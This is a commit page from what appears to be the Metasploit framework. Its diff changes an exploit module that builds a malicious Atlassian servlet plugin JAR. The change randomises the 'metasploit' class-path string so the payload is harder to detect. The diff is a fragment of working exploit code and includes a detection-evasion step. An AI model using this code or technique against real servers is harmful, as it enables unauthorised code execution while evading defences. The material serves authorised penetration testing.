Skip to content

Commit

Permalink
set :random to true during generate_jar so we can randomize teh metas…
Browse files Browse the repository at this point in the history
…ploit class path
  • Loading branch information
sfewer-r7 committed Oct 18, 2023
1 parent fcffd36 commit 5e84f57
Showing 1 changed file with 4 additions and 3 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -204,8 +204,9 @@ def exploit

plugin_key = rand_text_alpha(8)

# 5. Construct a malicious Servlet plugin JAR file.
jar = payload.encoded_jar
# 5. Construct a malicious Servlet plugin JAR file. We set :random to true which will randomize the string
# 'metasploit' in the class paths (via Rex::Zip::Jar::add_sub).
jar = payload.encoded_jar(random: true)

jar.add_file(
'atlassian-plugin.xml',
Expand All @@ -215,7 +216,7 @@ def exploit
<description>#{rand_text_alphanumeric(8)}</description>
<version>#{rand(1024)}.#{rand(1024)}</version>
</plugin-info>
<servlet key="#{rand_text_alpha(8)}" class="metasploit.PayloadServlet">
<servlet key="#{rand_text_alpha(8)}" class="#{jar.substitutions['metasploit']}.PayloadServlet">
<url-pattern>#{normalize_uri(payload_endpoint)}</url-pattern>
</servlet>
</atlassian-plugin>)
Expand Down

0 comments on commit 5e84f57

Please sign in to comment.